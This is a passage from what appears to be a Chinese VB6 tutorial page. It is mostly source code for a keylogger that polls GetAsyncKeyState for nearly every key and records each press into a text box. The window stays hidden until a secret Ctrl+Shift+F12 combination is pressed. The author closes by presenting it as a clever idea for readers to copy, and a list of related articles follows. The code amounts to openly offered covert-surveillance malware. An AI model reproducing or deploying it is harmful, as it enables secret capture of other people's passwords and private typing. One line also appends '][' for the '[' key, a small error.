  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "w"
  End If

  '记录大写字母X和小写字母x
  lngKeyState = GetAsyncKeyState(vbKeyX)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "X"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "x"
  End If

  '记录大写字母Y和小写字母y
  lngKeyState = GetAsyncKeyState(vbKeyY)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "Y"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "y"
  End If

  '记录大写字母Z和小写字母z
  lngKeyState = GetAsyncKeyState(vbKeyZ)
  If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "Z"
  End If
  If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
    txtKeyLog.Text = txtKeyLog.Text + "z"
  End If
  '记录数字1和!号
  lngKeyState = GetAsyncKeyState(vbKey1)
  If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "1"
  End If
  If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "!"
  End If

  '记录数字2和@号
  lngKeyState = GetAsyncKeyState(vbKey2)
  If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "2"
  End If
  If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "@"
  End If

  '记录数字3和#号
  lngKeyState = GetAsyncKeyState(vbKey3)
  If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "3"
  End If
  If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "#"
  End If

  '记录数字4和$号
  lngKeyState = GetAsyncKeyState(vbKey4)
  If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "4"
  End If
  If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "$"
  End If

  '记录数字5和%号
  lngKeyState = GetAsyncKeyState(vbKey5)
  If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "5"
  End If

  If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "%"
  End If

  '记录数字6和^号
  lngKeyState = GetAsyncKeyState(vbKey6)
  If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "6"
  End If
  If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "^"
  End If

  '记录数字7和&号
  lngKeyState = GetAsyncKeyState(vbKey7)
  If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "7"
  End If
  If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "&"
  End If

  '记录数字8和*号
  lngKeyState = GetAsyncKeyState(vbKey8)
  If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "8"
  End If
  If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "*"
  End If

  '记录数字9和(号
  lngKeyState = GetAsyncKeyState(vbKey9)
  If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "9"
  End If
  If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "("
  End If

  '记录数字0和)号
  lngKeyState = GetAsyncKeyState(vbKey0)
  If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "0"
  End If
  If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + ")"
  End If

  '记录退格键
  lngKeyState = GetAsyncKeyState(vbKeyBack)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{BackSpace}"
  End If

  '记录Tab键
  lngKeyState = GetAsyncKeyState(vbKeyTab)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Tab}"
  End If

  '记录回车键
  lngKeyState = GetAsyncKeyState(vbKeyReturn)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + vbCrLf
  End If

  '记录Shift键
  lngKeyState = GetAsyncKeyState(vbKeyShift)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Shift}"
  End If

  '记录Ctrl键
  lngKeyState = GetAsyncKeyState(vbKeyControl)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Ctrl}"
  End If

  '记录Alt键
  lngKeyState = GetAsyncKeyState(vbKeyMenu)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Alt}"
  End If

  '记录暂停键
  lngKeyState = GetAsyncKeyState(vbKeyPause)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Pause}"
  End If

  '记录退出键
  lngKeyState = GetAsyncKeyState(vbKeyEscape)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Esc}"
  End If

  '记录空格键
  lngKeyState = GetAsyncKeyState(vbKeySpace)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + " "
  End If

  '记录End键
  lngKeyState = GetAsyncKeyState(vbKeyEnd)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{End}"
  End If

  '记录Home键
  lngKeyState = GetAsyncKeyState(vbKeyHome)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Home}"
  End If

  '记录方向左键
  lngKeyState = GetAsyncKeyState(vbKeyLeft)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Left}"
  End If

  '记录方向右键
  lngKeyState = GetAsyncKeyState(vbKeyRight)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Right}"
  End If

  '记录方向上键
  lngKeyState = GetAsyncKeyState(vbKeyUp)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Up}"
  End If

  '记录方向下键
  lngKeyState = GetAsyncKeyState(vbKeyDown)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Down}"
  End If

  '记录插入键
  lngKeyState = GetAsyncKeyState(vbKeyInsert)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Insert}"
  End If

  '记录删除键
  lngKeyState = GetAsyncKeyState(vbKeyDelete)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Delete}"
  End If

  '记录;号和:号
  lngKeyState = GetAsyncKeyState(&HBA)
  If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + ";"
  End If
  If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + ":"
  End If

  '记录=号和+号
  lngKeyState = GetAsyncKeyState(&HBB)
  If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "="
  End If
  If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "+"
  End If

  '记录,号和<号
  lngKeyState = GetAsyncKeyState(&HBC)
  If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + ","
  End If
  If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "<"
  End If

  '记录-号和_号
  lngKeyState = GetAsyncKeyState(&HBD)
  If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "-"
  End If
  If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "_"
  End If

  '记录.号和>号
  lngKeyState = GetAsyncKeyState(&HBE)
  If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "."
  End If
  If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + ">"
  End If

  '记录/和?号
  lngKeyState = GetAsyncKeyState(&HBF)
  If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "/"
  End If
  If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "?"
  End If

  '记录`号和~号
  lngKeyState = GetAsyncKeyState(&HC0)
  If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "`"
  End If
  If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "~"
  End If

  '记录[号和{号
  lngKeyState = GetAsyncKeyState(&HDB)
  If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "]["
  End If
  If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{"
  End If

  '记录\和|
  lngKeyState = GetAsyncKeyState(&HDC)
  If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "\"
  End If
  If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "|"
  End If

  '记录]号和}号
  lngKeyState = GetAsyncKeyState(&HDD)
  If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "]"
  End If
  If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "}"
  End If

  '记录'号和"号
  lngKeyState = GetAsyncKeyState(&HDE)
  If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "'"
  End If
  If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + Chr$(34)
  End If

  '记录*号
  lngKeyState = GetAsyncKeyState(vbKeyMultiply)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "*"
  End If

  '记录/号
  lngKeyState = GetAsyncKeyState(vbKeyDivide)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "/"
  End If

  '记录+号
  lngKeyState = GetAsyncKeyState(vbKeyAdd)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "+"
  End If

  '记录-号
  lngKeyState = GetAsyncKeyState(vbKeySubtract)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "-"
  End If

  '记录Del键
  lngKeyState = GetAsyncKeyState(vbKeyDecimal)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{Del}"
  End If

  '记录F1键
  lngKeyState = GetAsyncKeyState(vbKeyF1)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F1}"
  End If

  '记录F2键
  lngKeyState = GetAsyncKeyState(vbKeyF2)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F2}"
  End If

  '记录F3键
  lngKeyState = GetAsyncKeyState(vbKeyF3)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F3}"
  End If

  '记录F4键
  lngKeyState = GetAsyncKeyState(vbKeyF4)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F4}"
  End If

  '记录F5键
  lngKeyState = GetAsyncKeyState(vbKeyF5)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F5}"
  End If

  '记录F6键
  lngKeyState = GetAsyncKeyState(vbKeyF6)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F6}"
  End If

  '记录F7键
  lngKeyState = GetAsyncKeyState(vbKeyF7)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F7}"
  End If

  '记录F8键
  lngKeyState = GetAsyncKeyState(vbKeyF8)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F8}"
  End If

  '记录F9键
  lngKeyState = GetAsyncKeyState(vbKeyF9)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F9}"
  End If

  '记录F10键
  lngKeyState = GetAsyncKeyState(vbKeyF10)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F10}"
  End If

  '记录F11键
  lngKeyState = GetAsyncKeyState(vbKeyF11)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F11}"
  End If

  '记录F12键
  lngKeyState = GetAsyncKeyState(vbKeyF12)
  If lngShift = 0 And (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{F12}"
  End If

  '当按下Ctrl + Shift + F12时出现系统设置画面
  If lngShift <> 0 And GetAsyncKeyState(vbKeyControl) And (lngKeyState And &H1) = &H1 Then
    frmMain.Visible = True
  End If

  '记录NumLock键
  lngKeyState = GetAsyncKeyState(vbKeyNumlock)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{NumLock}"
  End If

  '记录ScrollLock键
  lngKeyState = GetAsyncKeyState(vbKeyScrollLock)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{ScrollLock}"
  End If

  '记录PrintScreen键
  lngKeyState = GetAsyncKeyState(vbKeyPrint)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{PrintScreen}"
  End If

  '记录PageUp键
  lngKeyState = GetAsyncKeyState(vbKeyPageUp)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{PageUp}"
  End If

  '记录PageDown键
  lngKeyState = GetAsyncKeyState(vbKeyPageDown)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "{PageDown}"
  End If

  '记录数字键盘的1
  lngKeyState = GetAsyncKeyState(vbKeyNumpad1)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "1"
  End If

  '记录数字键盘的2
  lngKeyState = GetAsyncKeyState(vbKeyNumpad2)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "2"
  End If

  '记录数字键盘的3
  lngKeyState = GetAsyncKeyState(vbKeyNumpad3)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "3"
  End If

  '记录数字键盘的4
  lngKeyState = GetAsyncKeyState(vbKeyNumpad4)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "4"
  End If

  '记录数字键盘的5
  lngKeyState = GetAsyncKeyState(vbKeyNumpad5)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "5"
  End If

  '记录数字键盘的6
  lngKeyState = GetAsyncKeyState(vbKeyNumpad6)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "6"
  End If

  '记录数字键盘的7
  lngKeyState = GetAsyncKeyState(vbKeyNumpad7)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "7"
  End If

  '记录数字键盘的8
  lngKeyState = GetAsyncKeyState(vbKeyNumpad8)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "8"
  End If

  '记录数字键盘的9
  lngKeyState = GetAsyncKeyState(vbKeyNumpad9)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "9"
  End If

  '记录数字键盘的0
  lngKeyState = GetAsyncKeyState(vbKeyNumpad0)
  If (lngKeyState And &H1) = &H1 Then
    txtKeyLog.Text = txtKeyLog.Text + "0"
  End If

  End Sub

  这个程序没有多少难度,就是一个好的创意。希望大家也能有一些好的创意。

  blood(原作)




相关文章
  • 21个实用PHP代码
  • 精通PHP的十大要点
  • VB解决Unicode文本转换的问题
  • 一个基于WEB的QQ程序
  • 使用xmlhttp查询域名是否被注的小程序
  • 用VB6实现中英文文本的私钥加密
  • 一组VB实用小程序
  • 用VB编写异步多线程下载程序
  • 屏保程序模板化完整源代码
  • VB中实现窗体自动隐藏
  • 用VB编写网络监控软件
  • VB到底为我们做了什么?
  • 用VB编写定时关闭计算机的程序
  • 用MCI命令做一个播放器
  • 使用VB在WIN2000下截获IP数据包
  • VB中字符串中文的问题
  • 用VB制作屏幕保护程序
  • VB枚举主机IP
  • 用VB编写一个弹出菜单类
  • 自己的IE——用VB制作浏览器
  • 相关软件

  • VBScript编辑器源码  
  • 字体观察器FontViewer源码  
  • 自动壁纸更换器源码[第二部分]  
  • 自动壁纸更换器源码[第一部分]  
  • WINDOWS 3.0终端程序的C源码  
  • 一个取得 CPU 信息的程序源码  
  • 广告窗口终结者源码  
  • 下载整个网站程序ssnag与源码  
  • CGI邮件程序源码  
  • ISAPI留言簿源码  

  • 下载首页关于我们广告服务联系方式常见问题隐私声明法律条款本站声明下载帮助发布软件站点地图谷歌卫星地图